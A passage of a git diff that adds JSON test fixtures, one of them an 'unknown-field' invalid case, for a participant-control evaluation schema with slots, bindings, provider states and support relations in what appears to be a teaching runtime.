"sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "projection", + "ref": "input-projection", + "revision": "rev1" + }, + "requested_slot_ids": [ + "rule" + ], + "state_input": { + "predecessor_invocation_id": null, + "scope": { + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "scope_id": "state-influence", + "sharing": "participant" + }, + "source": "committed", + "state": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "provider-state", + "ref": "state-1", + "revision": "rev1" + } + } + } + ], + "lost_advice": [], + "request": { + "applicability": { + "applicable_slot_ids": [ + "fact", + "assessment", + "rule" + ], + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "coverage": [ + { + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "coverage-here", + "revision": "rev1" + } + ], + "obligation_id": "teaching-here", + "slot_ids": [ + "fact" + ], + "status": "applies" + } + ], + "derivation_evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "subset-derivation", + "revision": "rev1" + } + ], + "required_slot_ids": [ + "fact", + "assessment", + "rule" + ], + "selection_digest": "sha256:c4b3238b76a9c3a2f4a7677251f03f94bf44bf1bc2de9997dd3668c409b4038c" + }, + "context": { + "apparatus": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "apparatus", + "ref": "apparatus-1", + "revision": "rev1" + }, + "attempt": 1, + "audience_ref": "student-audience", + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "clock": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "clock", + "ref": "clock-1", + "revision": "rev1" + }, + "controller_ref": "teacher", + "crossing": { + "digest": "sha256:a6041f01335e5816f8452889f857b701ad9605e15805722a434445eaacba7868", + "kind": "crossing", + "ref": "crossing-1", + "revision": "rev1" + }, + "depth": 0, + "destination_ref": "student", + "direction": "ingress", + "effects_consumed": 0, + "episode_id": "episode-1", + "expected_history_heads": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "history", + "ref": "history-head", + "revision": "rev1" + } + ], + "inputs": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "input", + "ref": "observation-1", + "revision": "rev1" + } + ], + "memory_scope": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "memory", + "ref": "retained-memory", + "revision": "rev1" + }, + "order": 1, + "participant_address": "participants.student", + "phase_ref": "practice", + "policy": { + "decision_cut_ref": "cut-1", + "effective_order": 1, + "policy_decision_ref": "crossing-decision-1", + "policy_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "policy_id": "teaching-policy", + "policy_revision": "rev1", + "valid_from_order": 0, + "valid_until_order": 20 + }, + "predecessors": [], + "prior_effect_claims": [], + "provider_states": [ + { + "instance_id": "influence", + "state": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "provider-state", + "ref": "state-1", + "revision": "rev1" + } + }, + { + "instance_id": "other", + "state": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "provider-state", + "ref": "state-other", + "revision": "rev1" + } + } + ], + "rule_firings": [], + "run": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "run", + "ref": "run-1", + "revision": "rev1" + }, + "sink_ref": "teaching-observation", + "state_cut": { + "anchor_event_ref": "event-1", + "anchor_order": 1, + "cut_kind": "sequence_prefix", + "cut_ref": "cut-1", + "history_domain": "participant_behavior_history", + "history_prefix_length": 2, + "order_model": "behavior_history_order", + "predecessor_event_refs": [ + "event-0" + ] + }, + "subject": { + "contract_id": "participant-observation-envelope-v1", + "episode_id": "episode-1", + "participant_address": "participants.student", + "subject_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "subject_kind": "participant-observation", + "subject_ref": "observation-1", + "subject_revision": "rev1" + }, + "trigger": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "trigger", + "ref": "event-1", + "revision": "rev1" + }, + "trigger_root": "root-1" + }, + "selection": { + "apparatus": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "apparatus", + "ref": "apparatus-1", + "revision": "rev1" + }, + "bindings": [ + { + "applicability": [ + { + "direction": "ingress", + "episode_id": "episode-1", + "participant_address": "participants.student", + "phase_ref": "practice", + "sink_ref": "teaching-observation", + "subject_kind": "participant-observation" + } + ], + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "binding-evidence", + "revision": "rev1" + } + ], + "implementation": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "implementation", + "ref": "provider-artifact", + "revision": "rev1" + }, + "instance_id": "influence", + "limitations": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1" + } + ], + "mechanism": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "mechanism", + "ref": "propagation", + "revision": "rev1" + }, + "memory_scope": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "memory", + "ref": "retained-memory", + "revision": "rev1" + }, + "profiles": [ + { + "digest": "sha256:5500e3737b2a4d72fcf7fa40090cc9b01b27926902b16ae7cc6cf2739936c630", + "kind": "profile", + "ref": "teaching-influence", + "revision": "rev1" + } + ], + "protocol_revision": "participant-control-provider/v2", + "state_scope": { + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "scope_id": "state-influence", + "sharing": "participant" + } + }, + { + "applicability": [ + { + "direction": "ingress", + "episode_id": "episode-1", + "participant_address": "participants.student", + "phase_ref": "practice", + "sink_ref": "teaching-observation", + "subject_kind": "participant-observation" + } + ], + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "binding-evidence", + "revision": "rev1" + } + ], + "implementation": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "implementation", + "ref": "provider-artifact", + "revision": "rev1" + }, + "instance_id": "other", + "limitations": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1" + } + ], + "mechanism": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "mechanism", + "ref": "propagation", + "revision": "rev1" + }, + "memory_scope": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "memory", + "ref": "retained-memory", + "revision": "rev1" + }, + "profiles": [ + { + "digest": "sha256:5500e3737b2a4d72fcf7fa40090cc9b01b27926902b16ae7cc6cf2739936c630", + "kind": "profile", + "ref": "teaching-influence", + "revision": "rev1" + } + ], + "protocol_revision": "participant-control-provider/v2", + "state_scope": { + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "scope_id": "state-other", + "sharing": "participant" + } + } + ], + "bounds": { + "expires_at_order": 20, + "max_attempts": 3, + "max_depth": 2, + "max_effects": 2, + "max_fanout": 2, + "max_firings_per_rule": 1 + }, + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "selection-evidence", + "revision": "rev1" + } + ], + "interpretation": "participant-control-applicability/rev1", + "obligations": [ + { + "constraints": [], + "obligation_id": "teaching-here", + "profile": { + "digest": "sha256:5500e3737b2a4d72fcf7fa40090cc9b01b27926902b16ae7cc6cf2739936c630", + "kind": "profile", + "ref": "teaching-influence", + "revision": "rev1" + }, + "required_kind": "ifc-fact", + "required_strength": "exact" + }, + { + "constraints": [], + "obligation_id": "teaching-there", + "profile": { + "digest": "sha256:5500e3737b2a4d72fcf7fa40090cc9b01b27926902b16ae7cc6cf2739936c630", + "kind": "profile", + "ref": "teaching-influence", + "revision": "rev1" + }, + "required_kind": "decision", + "required_strength": "exact" + } + ], + "required_profiles": [ + "teaching-influence" + ], + "schema_version": "participant-control-selection/v2", + "selection_id": "selection-1", + "semantic_revision": "sem-235/rev1", + "slots": [ + { + "constraints": [], + "dependencies": [], + "instance_id": "influence", + "kind": "ifc-fact", + "required_strength": "exact", + "role": "mandatory", + "slot_id": "fact" + }, + { + "constraints": [], + "dependencies": [ + { + "kind": "ifc-fact", + "slot_id": "fact" + } + ], + "instance_id": "other", + "kind": "advisory", + "required_strength": "exact", + "role": "advisory", + "slot_id": "assessment" + }, + { + "constraints": [], + "dependencies": [ + { + "kind": "advisory", + "slot_id": "assessment" + } + ], + "instance_id": "influence", + "kind": "decision", + "required_strength": "exact", + "role": "mandatory", + "slot_id": "rule" + } + ] + } + }, + "results": [ + { + "binding_digest": "sha256:46077550ad5e4bcd2eb86537d6759360b0a15a6faf4ec33e068c09af030e278e", + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "evaluated_basis": [], + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "result-evidence", + "revision": "rev1" + } + ], + "instance_id": "influence", + "invocation_digest": "sha256:6eedb8ca7540290c79c772ed7bd65961992721cfbd58ed0665ac7428ca6f7f7f", + "next_provider_state": null, + "payload": { + "domain": "teaching-influence-domain/rev1", + "kind": "ifc-fact", + "source_refs": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "input", + "ref": "observation-1", + "revision": "rev1" + } + ], + "tokens": [ + "coached-hint" + ] + }, + "result_id": "result-fact", + "rule_outcome": null, + "slot_id": "fact", + "status": "resolved" + }, + { + "binding_digest": "sha256:1869c48719bd69e0cb9d20ebdcf25741701ff03869b16e4c5a3543a8da45e7d1", + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "evaluated_basis": [], + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "result-evidence", + "revision": "rev1" + } + ], + "instance_id": "other", + "invocation_digest": "sha256:36aaff3fa0fbf53ddf2cbfcbff3a36160204a9bdc7cd49d587d8b35ed78c76b5", + "next_provider_state": null, + "payload": { + "assessment": "negative", + "kind": "advisory", + "sample": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "assessment-sample", + "revision": "rev1" + }, + "score": 0.2 + }, + "result_id": "result-assessment", + "rule_outcome": null, + "slot_id": "assessment", + "status": "resolved" + }, + { + "binding_digest": "sha256:46077550ad5e4bcd2eb86537d6759360b0a15a6faf4ec33e068c09af030e278e", + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "evaluated_basis": [], + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "result-evidence", + "revision": "rev1" + } + ], + "instance_id": "influence", + "invocation_digest": "sha256:c55bec711126640624b0115ec1e5eb58b9cad00c317a5ebced1bfb206ed2a73c", + "next_provider_state": null, + "payload": { + "disposition": "permit", + "kind": "decision", + "rule": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "rule", + "ref": "decision-rule", + "revision": "rev1" + } + }, + "result_id": "result-rule", + "rule_outcome": null, + "slot_id": "rule", + "status": "resolved" + } + ], + "schema_version": "participant-control-evaluation/v2", + "state_proposals": [], + "support": [ + { + "effective_support": { + "constraints": [], + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "declaration_ref": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "manifest", + "ref": "backend-manifest", + "revision": "rev1" + }, + "declared_level": "exact", + "downgrade_authority": null, + "effective_level": "exact", + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "support-evidence", + "revision": "rev1" + } + ], + "feature": "participant_modular_control", + "installation": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "installation", + "ref": "installation-1", + "revision": "rev1" + }, + "instance_id": "influence", + "limitations": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1" + } + ], + "status": "resolved" + }, + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "support-relation", + "revision": "rev1" + } + ], + "instance_id": "influence", + "obligation_id": "teaching-here", + "relation": "exact", + "required_constraints": [], + "required_strength": "exact" + }, + { + "effective_support": { + "constraints": [], + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "declaration_ref": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "manifest", + "ref": "backend-manifest", + "revision": "rev1" + }, + "declared_level": "exact", + "downgrade_authority": null, + "effective_level": "exact", + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "support-evidence", + "revision": "rev1" + } + ], + "feature": "participant_modular_control", + "installation": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "installation", + "ref": "installation-1", + "revision": "rev1" + }, + "instance_id": "influence", + "limitations": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1" + } + ], + "status": "resolved" + }, + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "support-relation", + "revision": "rev1" + } + ], + "instance_id": "influence", + "obligation_id": "teaching-there", + "relation": "exact", + "required_constraints": [], + "required_strength": "exact" + }, + { + "effective_support": { + "constraints": [], + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "declaration_ref": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "manifest", + "ref": "backend-manifest", + "revision": "rev1" + }, + "declared_level": "exact", + "downgrade_authority": null, + "effective_level": "exact", + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "support-evidence", + "revision": "rev1" + } + ], + "feature": "participant_modular_control", + "installation": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "installation", + "ref": "installation-1", + "revision": "rev1" + }, + "instance_id": "other", + "limitations": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "limitation", + "ref": "explicit-flows-only", + "revision": "rev1" + } + ], + "status": "resolved" + }, + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "support-relation", + "revision": "rev1" + } + ], + "instance_id": "other", + "obligation_id": "input:assessment", + "relation": "exact", + "required_constraints": [], + "required_strength": "exact" + } + ] +} diff --git a/contracts/fixtures/participant-runtime/participant-control-evaluation-v2/invalid/unknown-field.json b/contracts/fixtures/participant-runtime/participant-control-evaluation-v2/invalid/unknown-field.json new file mode 100644 index 000000000..7cca6838a --- /dev/null +++ b/contracts/fixtures/participant-runtime/participant-control-evaluation-v2/invalid/unknown-field.json @@ -0,0 +1,893 @@ +{ + "commit": { + "coverage_digest": "sha256:80caf84d4b4e2b39429afdcea3de084248a77a33b2a3e6570a9025ce9491eed1", + "decision_digest": "sha256:d1c72c0c53778b391603d2fad4f7a89a2e784920b0bdfad99bf882430d4237d1", + "dispatchable_effect_ids": [], + "effect_intent_digests": [], + "effects_consumed": 0, + "expected_history_heads": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "history", + "ref": "history-head", + "revision": "rev1" + } + ], + "receipt": null, + "result_digests": [ + "sha256:621aa9e32db264cb92c23ff1938b560a9a96cbb2f23deb33ce0ef02bd1c7704f", + "sha256:45e5fbd6cf5fae7760544ffef92f6383a74eee21ab132a6c4b93462082754d8b", + "sha256:aacb4994403c2d24525b94e19eea45e05f50be437e224a7887c2f54e59286e33" + ], + "state_proposal_digests": [], + "status": "prepared" + }, + "composition": { + "blockers": [], + "contributing_result_ids": [ + "result-assessment", + "result-fact", + "result-rule" + ], + "disposition": "eligible", + "lost_advice_slot_ids": [], + "rule_revision": "participant-control-applicability/rev1" + }, + "effect_plan": { + "decisions": [ + { + "decision_id": "result-rule", + "disposition": "permit", + "reasons": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "decision-basis", + "revision": "rev1" + } + ], + "rule": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "rule", + "ref": "decision-rule", + "revision": "rev1" + } + } + ], + "effect_outcomes": [], + "effects": [], + "incumbent_gate_disposition": "permit", + "parent_admission_receipt": null, + "parent_application_receipt": null, + "parent_applied": false, + "parent_crossing": { + "digest": "sha256:a6041f01335e5816f8452889f857b701ad9605e15805722a434445eaacba7868", + "kind": "crossing", + "ref": "crossing-1", + "revision": "rev1" + }, + "parent_disposition": "permit", + "realized_effect_ids": [], + "runnable_effect_ids": [] + }, + "evaluation_id": "evaluation-v2", + "invocations": [ + { + "binding_digest": "sha256:46077550ad5e4bcd2eb86537d6759360b0a15a6faf4ec33e068c09af030e278e", + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "instance_id": "influence", + "invocation_id": "invoke-fact", + "predecessor_inputs": [], + "projection": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "projection", + "ref": "input-projection", + "revision": "rev1" + }, + "requested_slot_ids": [ + "fact" + ], + "state_input": { + "predecessor_invocation_id": null, + "scope": { + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "scope_id": "state-influence", + "sharing": "participant" + }, + "source": "committed", + "state": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "provider-state", + "ref": "state-1", + "revision": "rev1" + } + } + }, + { + "binding_digest": "sha256:1869c48719bd69e0cb9d20ebdcf25741701ff03869b16e4c5a3543a8da45e7d1", + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "instance_id": "other", + "invocation_id": "invoke-assessment", + "predecessor_inputs": [ + { + "kind": "ifc-fact", + "result_digest": "sha256:621aa9e32db264cb92c23ff1938b560a9a96cbb2f23deb33ce0ef02bd1c7704f", + "result_id": "result-fact", + "slot_id": "fact" + } + ], + "projection": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "projection", + "ref": "input-projection", + "revision": "rev1" + }, + "requested_slot_ids": [ + "assessment" + ], + "state_input": { + "predecessor_invocation_id": null, + "scope": { + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "scope_id": "state-other", + "sharing": "participant" + }, + "source": "committed", + "state": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "provider-state", + "ref": "state-other", + "revision": "rev1" + } + } + }, + { + "binding_digest": "sha256:46077550ad5e4bcd2eb86537d6759360b0a15a6faf4ec33e068c09af030e278e", + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "instance_id": "influence", + "invocation_id": "invoke-rule", + "predecessor_inputs": [ + { + "kind": "advisory", + "result_digest": "sha256:45e5fbd6cf5fae7760544ffef92f6383a74eee21ab132a6c4b93462082754d8b", + "result_id": "result-assessment", + "slot_id": "assessment" + } + ], + "projection": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "projection", + "ref": "input-projection", + "revision": "rev1" + }, + "requested_slot_ids": [ + "rule" + ], + "state_input": { + "predecessor_invocation_id": null, + "scope": { + "authority": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "authority", + "ref": "teaching-authority", + "revision": "rev1" + }, + "configuration_digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "scope_id": "state-influence", + "sharing": "participant" + }, + "source": "committed", + "state": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "provider-state", + "ref": "state-1", + "revision": "rev1" + } + } + } + ], + "lost_advice": [], + "request": { + "applicability": { + "applicable_slot_ids": [ + "fact", + "assessment", + "rule" + ], + "context_digest": "sha256:c74ea5dc7ff8d76bbf6aa716c5c79544443e75bd2dc0c998a5b96dcc3895b0e0", + "coverage": [ + { + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "coverage-here", + "revision": "rev1" + } + ], + "obligation_id": "teaching-here", + "slot_ids": [ + "fact" + ], + "status": "applies" + }, + { + "evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "coverage-there", + "revision": "rev1" + } + ], + "obligation_id": "teaching-there", + "slot_ids": [ + "rule" + ], + "status": "applies" + } + ], + "derivation_evidence": [ + { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "evidence", + "ref": "subset-derivation", + "revision": "rev1" + } + ], + "required_slot_ids": [ + "fact", + "assessment", + "rule" + ], + "selection_digest": "sha256:c4b3238b76a9c3a2f4a7677251f03f94bf44bf1bc2de9997dd3668c409b4038c" + }, + "context": { + "apparatus": { + "digest": "sha256:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + "kind": "apparatus", + "ref": "apparatus-1", + "revision": "rev1" + }, + "attempt": 1, + "audience_ref": "student-audience", + "authority": { + "digest": 